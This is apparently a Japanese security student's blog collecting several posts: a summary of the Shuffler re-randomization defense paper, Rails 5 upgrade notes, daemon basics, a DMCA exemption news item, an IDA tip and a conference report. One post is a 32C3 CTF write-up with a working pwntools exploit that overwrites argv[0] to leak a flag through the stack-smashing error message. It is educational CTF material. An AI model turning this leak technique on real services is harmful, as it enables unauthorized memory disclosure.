Shuffler: Fast and Deployable Continuous Code Re-Randomization の紹介
はじめに
情報セキュリティ系論文紹介 Advent Calendar 2016 - Adventarの23日目の記事として、Shuffler: Fast and Deployable Continuous Code Re-Randomization | USENIXの紹介をやっていく。今日は12月23日であり、明日はクリスマス・イブである。
これはJIT-ROPに代表される、memory disclosure vulnerabilityを利用した攻撃に対する防衛機構の話である。 JIT-ROPに関してはx64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる - ももいろテクノロジーを見てほしい。
- 論文: https://www.usenix.org/system/files/conference/osdi16/osdi16-williams-king.pdf
- スライド: https://www.usenix.org/sites/default/files/conference/protected-files/osdi16_slides_williams-king.pdf
この記事で扱う図はすべて上の2つのリンクから借用した。
概要
現代のシステムでは、NX bitやASLRによりコードインジェクション攻撃は実質的に排除されているが、今日のプログラムはROPのようなコードを再利用する攻撃に対して脆弱である。また、Anti-ROP: A Moving Target Defense によると、ソフトウェアに対する攻撃の90%でROPが用いられている。
特に悪意のあるものはJust-In-Time ROP(JIT-ROP)であり、攻撃者はmemory disclosure vulnerabilityを利用して実行時にgadgetを発見する。これに対する対抗策として、攻撃者がgadgetを見つけるよりはやく、コードを再ランダム化しようというアイデアのもと、Shufflerは開発された。Shufflerは、コード位置を20-50ミリ秒単位で連続的に再ランダム化し、攻撃者に時間の制限をかけることで対処する。 この制限はネットワーク経由での攻撃に特に有用で、攻撃者マシンから数十ミリ秒離れた場所にあるサーバープログラムに対して、攻撃を最後まで行うことは困難となる。
また、本研究の貢献は以下の4点だと述べられている。
Deployability: Shufflerによる再ランダム化は、ソースコード、コンパイラ、リンカを変更とせず、ローダーへのミニマムな変更だけで行うことができる。
Speed: レイテンシ、オーバーヘッドが低い、非同期の再ランダム化によって、disclosure-based attackに対しミリ秒のオーダーのリアルタイムデッドラインを導入する。
Egalitarianism: 我々は防衛機構をどのようにセルフホストし、trusted computing base (TCB)の拡大を回避するかについて説明する。 Trusted computing base - Wikipedia
Augmented binary analysis: コンパイラから得られる情報(シンボルや再配置)を活用することで、バイナリ上で完全で正確な分析が可能であることを示す。
Implementation
Shufflerは x86-64 Linuxのユーザー空間で動作し、バイナリが依存するすべての共有ライブラリと、バイナリ自体をシャッフルする。 シャッフルするプロセスは、シャッフルされるプログラムのスレッドの実行をさまたげることなく、スレッド内で非同期に実行される。
以下の図は、シャッフルされたコードのスナップショットである。 code pointerはcode pointer tableを介して指され、リターンアドレスはXORで暗号化され、スタックに積まれる。
Shufflerはシャッフルする各期間で、コードの新しいコピーを作成し、code pointer tableを更新、すべてのスレッド(自身を含む)にシグナルを送る。 各スレッドはそのスタックをunwindsし修正する。
Shufflerはすべてのスレッドが unwindingを終えるまでバリアーで待機し、以前のコピーしたコードを消去する。Shufflerの実装は、共有ライブラリ、複数のスレッド、フォーク(それぞれの子は独自のシャッフラースレッドを取得する)、{set、long} jmp、システムコールの再エントリ、シグナルなど、多くのシステムレベルの機能をサポートしている。
Transformations to Support Shuffling
元のコードの前後に以下のように命令を挿入することで、return addressをxorしている。
func: mov %fs:0x28,%r11 xor %r11,(%rsp) ; original code mov %fs:0x28,%r11 xor %r11,(%rsp) ret
関数を呼び出す際のアドレス解決は以下のように行われる。
call命令はそのとき以下のように書き換えられる。
callq *%rax => callq *%gs:(%rax)
また上のときのraxは以下のように書き換えられ、データセグメントのindexとして扱われる。
mov $0x40054d, %rax => mov $0x20, %rax
Bootstrapping
2つのライブラリ(stage1, stage2)を使って、シャッフルされたコードを起動するので、 システムは現在実行中のモジュールのコードポインタを上書きしません。 これらのライブラリは、LD_PRELOADを使用してターゲットにinjectionされる。 ローダー機能を再実装するのではなく、システムローダーに任せて有効なプロセスを作成し、 プログラム(またはそのコンストラクター)が実行を開始する前に引き継ぐ。
stage1のコンストラクタは、リンカメカニズム-z initfirst
を介して他のもののより早く呼び出される。
次に、ローダ自体にブレークポイントを設定することによって、stage1では、他のすべてのコンストラクタがシャッフルされたコードで実行されるようになる。
最後に呼び出されるコンストラクタ(LD_PRELOADの副作用)はstage2自身のコンストラクタである。
stage2は専用のShufflerスレッドを作成し、他のすべてのコードの元のコピーを消去し、シャッフルされたELFエントリポイントで実行を再開する。
評価
ROP、direct JIT-ROP、indirect JIT-ROP、およびBlind ROPを含む、コードを再利用するすべての既知の形態の攻撃に対し、Shufflerが防御できることを示した。 50 msごとにシャッフルするとSPEC CPUのオーバーヘッドは14.9%となり、Nginxなどの現実のアプリケーションの上でShufflerを実行できることを確認した。シャッフルされたNginxは12コアで最大24のワーカープロセスをスケーリングできた。
また、CVE-2013-2028によってBlind-ROPが可能なNginx 1.4.0を用いて、攻撃が完了するまでに7分かかることを測定した。 このBlind-ROPをシャッフルされたNginxで試したとき、攻撃者はPLT、stack canaryを見つけられなかった。 親プロセスと子プロセスが独立してランダム化されるため、攻撃は成立しなかった。
感想
gadgetが発見される前にコードを再ランダム化するというアイデアだけではなく、再ランダム化することに対する攻撃手法も述べられており、面白い論文だった。是非コードを読みたい。
Railsを5.0にupdateした時のメモ
方法
Gemfileを編集する。Railsのversionを最新版に指定してbundle update
。
gem 'rails', '5.0.0.1' # そのときの最新版を指定してくれ!
Rails5に対応していないversionを指定されているgemがあったりするのでエラーメッセージに応じてversion指定を抜く必要がある。
bin/rails app:update
で設定ファイルをRails5向けに書き換えてくれるが、config/application.rb
や config/route.rb
も容赦なく書き換えようとしてくるので、diffを見たりして注意する必要がある。
コードを変更した点
skip_before_action
同一ファイル内にcallback関数がない場合、raiseオプションにfalseを設定しないと、ArgumentErrorが出るように変更された。sourceryというgemのcallbackを使うところで変更が必要になった。
skip_before_filter :require_login, raise: false
本体のコードの該当箇所
- rails/callbacks.rb at 6dfab475ca230dfcad7a603483431c8e7a8f908e · rails/rails
- rails/callbacks.rb at 6dfab475ca230dfcad7a603483431c8e7a8f908e · rails/rails
時間の扱い
いままでは、Active Recordが時間をUTCで保存するため、JSTで時間を扱いたいとき、Time.zone.utc_to_local
でいちいち変換する必要があった。
Rails5ではconfig/application.rb
に以下のように書くことで、DBにUTCで入っている時間をJSTとして扱えるようになり、Time型の扱いが楽になった。
config.time_zone = 'Tokyo' config.active_record.time_zone_aware_types = [:datetime, :time]
しかし、DBのTime型には日にちが入らないため、UTCからJSTに変換する際、+9時間すると日をまたぐ場合がある。そのため、ActiveSupportのTime.change(day:n)
を用いて日にちを変更する必要は残った。
参考
Rails で DB の Time 型を扱う - おもしろwebサービス開発日記
雑感
rakeコマンドをつかわなくても、railsコマンドでdb:migrate等をできるようになっててよい。
あと、 config.active_record.time_zone_aware_types
のおかげで時間をJSTとして扱えるのがほんとに最高。
神っぽい。
SSPのエラーメッセージからのinformation leak
SSPのエラーメッセージとは
SSP(stack-smashing protection)とはスタック上にcanaryと呼ばれる値を配置し、それが書き換えられたか否かでstack overflowしたかどうかを判定するセキュリティ機構である。
stack overflowが起こるコードを実行してみる。
#include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[10] = {}; strcpy(buf, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); puts(buf); return 0; }
エラーメッセージが出力された。
$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa *** stack smashing detected ***: ./bof terminated 中止 (コアダンプ)
./bof というファイル名がエラーメッセージに含まれている。このファイル名はargv[0]としてバイナリに含まれていて、これを書き換えることで任意のデータを出力できる。
32C3 CTF readme
例として、このテクニックを必要とする、32C3 CTFで出されたreadmeという問題を解く。
実行してみる
2回目の入力でflagを書き換えるようだ。
$ ./readme.bin Hello! What's your name? aaaa Nice to meet you, aaaa. Please overwrite the flag: bbbb Thank you, bye!
解析
SSP有効なstripped 64bit バイナリ。
$ file readme.bin readme.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped $ checksec.sh --file readme.bin RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH readme.bin
gets()が使われていてstack overflowさせることができ、あとの方でflagがあるアドレス(0x600d20)をmemsetで書き換えている。
00000000004007e1 mov esi, 0x400934 ; "Hello!\\nWhat's your name? " 00000000004007e6 mov edi, 0x1 00000000004007eb push rbx 00000000004007ec sub rsp, 0x118 00000000004007f3 mov rax, qword [fs:0x28] 00000000004007fc mov qword [ss:rsp+0x108], rax 0000000000400804 xor eax, eax 0000000000400806 call j___printf_chk 000000000040080b mov rdi, rsp 000000000040080e call j__IO_gets // overflow 0000000000400813 test rax, rax 0000000000400816 je 0x40089f ... 0000000000400868 xor esi, esi ; argument "c" for method j_memset 000000000040086a sub edx, ebx ; argument "len" for method j_memset 000000000040086c add rdi, 0x600d20 ; "32C3_TheServerHasTheFlagHere...", argument "b" for method j_memset 0000000000400873 call j_memset // flag overwrite
memsetで書き換えられる場所以外にもflagが格納されている場所があった。
gdb-peda$ find 32C3 Searching for '32C3' in: None ranges Found 5 results, display max 5 items: readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...") readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...") // will overwrite by memset
argv[0]からflagが格納されている場所へのoffsetは0x218。
gdb-peda$ telescope 0000| 0x7fffffffdd20 --> 0x1 0008| 0x7fffffffdd28 --> 0x7fffffffe0e4 ("/mnt/hgfs/code/pwn_collection/32C3ctf/readme-200/readme.bin") 0016| 0x7fffffffdd30 --> 0x0 0024| 0x7fffffffdd38 --> 0x7fffffffe120 ("LC_PAPER=en_US.UTF-8") 0032| 0x7fffffffdd40 --> 0x7fffffffe135 ("XDG_VTNR=7") 0040| 0x7fffffffdd48 --> 0x7fffffffe140 ("XDG_SESSION_ID=c2") 0048| 0x7fffffffdd50 --> 0x7fffffffe152 ("LC_ADDRESS=en_US.UTF-8") 0056| 0x7fffffffdd58 --> 0x7fffffffe169 ("CLUTTER_IM_MODULE=xim") gdb-peda$ print 0x7fffffffdd28 - 0x7fffffffdb10 $2 = 0x218
exploit
stack overflowさせてargv[0]を書き換える。エラーメッセージはサーバー上の端末に出力されてしまうが、環境変数LIBC_FATAL_STDERR_=1と指定しておくと標準エラー出力に出力され、ネットワーク越しに見えるようになる。flagを書き換える2回目の入力を利用して環境変数を設定する。
#!/usr/bin/env python2.7 # coding: UTF-8 from pwn import * p = process('./readme.bin') payload = 'a' * 0x218 payload += p64(0x400d20) # flag address overwrite argv[0] payload += 'a' * 8 payload += p64(0x600d20) # input writing into env env = 'LIBC_FATAL_STDERR_=1' # writing 0x600d20 by memset p.sendline(payload) p.sendline(env) print p.recvall()
実行結果
$ python exploit.py [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/tomori/.pwntools-cache/update to 'never'. [*] You have the latest version of Pwntools (3.2.0) [+] Starting local process './readme.bin': Done [+] Receiving all data: Done (703B) [*] Process './readme.bin' stopped with exit code -6 Hello! What's your name? Nice to meet you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa @. Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
エラーメッセージのファイル名の部分をflagに書き換えることができた。
参考資料
デーモンの仕組み
デーモンはバックグラウンドで動き、terminalからインタラクティブに操作されることがないプロセスである。起動時に開始し、rootユーザやapache、postfixなどの特権ユーザにより動かされる。systemdで操作するcrondとかsshdとかのことである。
デーモンは一般的に、initプロセスの子プロセスとして動く、terminalから接続されないという2つの要件を満たしている。initプロセスとはシステム起動後にカーネルが最初に実行するプロセスでこのpidは1である。
以下のようにしてデーモンは起動される。
- fork()を呼び、デーモンとなる新しいプロセスを作る。
- デーモンの親プロセスがexit()を呼んで終了する。親プロセスがすぐに死に、デーモンはプロセスグループのリーダーにならない。
- setsid()を呼び、デーモンに新しいプロセスグループとセッションを与え、デーモンがリーダーになるようにする。これによりプロセスを制御するterminalがないことも保証できる。
- chdir()でワーキングディレクトリをrootディレクトリに変更する。これはデーモンが他のディレクトリを使用中にしないようにするため、adminにワーキングディレクトリをunmountされることを避けるためである。
- 全てのファイルディスクリプタを閉じる。機能的に必要であればそこは開けておく。
- ファイルディスクリプタの0(stdin)、1(stdout)、2(stderror)を開き/dev/nullにリダイレクトする。
これらに基づき、デーモン化するコードは以下のようになる。このコードはLinuxシステムプログラミング | Robert Love, ロバート ラブ, 千住 治郎より拝借した。
#include <sys/types.h> #include <sys/stat.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <linux/fs.h> int main (void) { pid_t pid; int i; /* forkして新しいプロセスを作る */ pid = fork(); if (pid == -1) return -1; else if (pid != 0) exit(EXIT_SUCCESS); /* 新しいセッションとプロセスグループを作る */ if (setsid() == -1) return -1; /* ワーキングディレクトリをルートに変更 */ if (chdir("/") == -1) return -1; /* NR_OPENを使って全てのファイルディスクリプタを閉じる */ for (i = 0; i < NR_OPEN; i++) close(i); /* ファイルディスクリプタ 0, 1, 2を /dev/nullにリダイレクト */ open("/dev/null", O_RDWR); /* stdin */ dup(0); /* stdout */ dup(0); /* stderror */ return 0; }
DMCAに調査目的でのリバースエンジニアリングが例外に追加されそう
DMCA updated – toaster penetration testing gets green light in America • The Registerによると、アメリカの法律であるDMCA(デジタルミレニアム著作権法)の例外に、調査目的でのリバースエンジニアリング等のセキュリティテストが2年以内に追加されるようだ。具体的には以下の項目である。
- The use of electronic literary works in conjunction with assistive technologies.
- Jailbreaking phones and tablets to enable interoperability or remove unwanted software.
- Efforts to access automobile software.
- Efforts to make non-functioning video games accessible.
- Efforts to bypass 3D printer materials controls.
- Efforts by patients to access data in personal medical devices.
- Attempts to reverse-engineer software for security research.
脱獄や車のシステムへのアクセス、ゲームのチート、3Dプリンタの制御のバイパス、患者による医療機器のデータへのアクセス、調査目的でのリバースエンジニアリングが製品の保護の例外になる。
日本では、著作権法47条の3 第1項に「プログラムの著作物の複製物の所有者は、自ら当該著作物を電子計算機において利用するために必要と認められる限度において、当該著作物の複製又は翻案をすることができる。」とあるものの明記はされておらず、(平成20年第7回)議事録 | 資料1|文化庁のように議論されている段階のようだ。現在の進捗はよく分からない。
IDAにカラースキーマ(.clr)を適用する
メニューバーの Options から Colors を選択すると以下の画面が出てくる。 importボタンを押してファイルを選択すれば適用できる。
おすすめカラースキーマはeugeii/ida-consonance: Consonance, a dark color scheme for IDA.。
完全にやり方を忘れていたので備忘録。
CODE BLUE 2016とAV TOKYOに行った。
去年はカスペルスキー大先生の学生支援枠で参加していたCODE BLUEに学生スタッフとして参加した。今年のスタッフはスーツ着なくてよくなっていたり、スタッフ数が倍になっていたりで、去年のスタッフのみなさんに比べてかなり楽になっていたらしい。有名なエンジニアの方がすぐ近くを歩いていたりしていて、異常な環境だった。
2日目の日中は業務なかったのでコンテストに行ったところチームメンバーに恵まれて2位になった。F.TRON社のINTΦ(INT ZERO)はセキュアでつよくてめっちゃ面白いのでソースを見てみたい。めっちゃつよくてヒントが出るまではルールの穴を突くくらいしかなかった。
AV TOKYOの開始4時間前がチェックアウトだったので、せっかくだしAV TOKYOも行った。 CODE BLUEで聞いたHouse of Einherjarの話をもう一回聞けてよかったし、バグハンターの話とかil2cppの話も面白かった。ああいうクラブ?みたいな環境で話を聞くのは新鮮で面白かった。
なぜか天井にディスプレイがあった。
精進します。